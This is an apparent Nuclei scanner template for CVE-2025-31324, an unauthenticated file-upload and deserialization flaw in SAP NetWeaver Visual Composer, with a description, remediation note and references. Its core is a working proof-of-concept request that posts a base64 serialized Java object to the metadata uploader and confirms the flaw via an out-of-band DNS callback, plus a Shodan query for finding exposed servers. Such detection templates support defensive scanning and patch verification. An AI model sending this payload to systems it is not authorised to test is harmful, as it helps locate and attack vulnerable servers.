SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
PoC代码[已公开]
id: CVE-2025-31324
info:
name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
impact: |
Unauthenticated attackers can upload malicious executable binaries through the Metadata Uploader without authorization, potentially achieving remote code execution and complete system compromise.
remediation: |
Apply SAP security note 3594142 and upgrade to the latest patched version of SAP NetWeaver Visual Composer.
reference:
- https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
- https://www.theregister.com/2025/04/25/sap_netweaver_patch/
- https://me.sap.com/notes/3594142
- https://url.sap/sapsecuritypatchday
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-31324
cwe-id: CWE-434
epss-score: 0.33314
epss-percentile: 0.96789
metadata:
verified: true
max-request: 1
shodan-query: html:"SAP NetWeaver Application Server Java"
tags: cve,cve2025,sap,netweaver,rce,deserialization,kev,vkev,vuln
variables:
oast: ".{{interactsh-url}}"
payload: "{{padding(oast,'a',54,'prefix')}}"
http:
- raw:
- |
POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data
{{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains_all(body, 'FAILED', 'Cause')
condition: and
# digest: 4b0a00483046022100b347b0ca60676d7235f8175b5b6da81b534b1325eadd65deaa824aca02908edf022100dfb5a84913e7e78bf9bf06f8e93baf48bb5294ad0a8001a7c4ed517feee9ef19:922c64590222798bb761d5b6d8e72950